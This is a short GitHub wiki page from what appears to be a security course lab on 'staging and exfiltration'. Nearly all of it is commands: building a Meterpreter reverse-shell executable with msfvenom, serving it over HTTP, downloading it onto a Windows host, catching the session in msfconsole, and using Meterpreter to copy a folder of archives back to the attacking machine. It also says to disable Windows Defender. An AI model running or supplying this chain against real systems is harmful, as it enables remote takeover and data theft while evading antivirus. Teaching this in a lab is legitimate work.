Week 4 ‐ Staging and Exfiltration (Task 2) - sophialevasseur/SEC-335 GitHub Wiki
- On your Kali machine run this command:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<KALI_IP> LPORT=5555 -f exe > exfil.exepython3 -m http.server 8000
- Curl the command on your Windows machine:
curl.exe http://10.0.17.49:8000/exfil.exe -o exfil.exe
- Open msf console with the following command:
msfconsole -quse exploit/multi/handlerset payload windows/x64/meterpreter/reverse_tcpset LHOST 10.0.17.66set LPORT 5555set ExitOnSession falseexploit -j
- If your session is not being created, make sure your Windows Defender is turned off!
.\exfil.exe
sessions -lsessions -i 1
Read the Meterpreter documentation on exfiltration commands
download -r C:\\temp\\archives /tmp
ls -la /tmp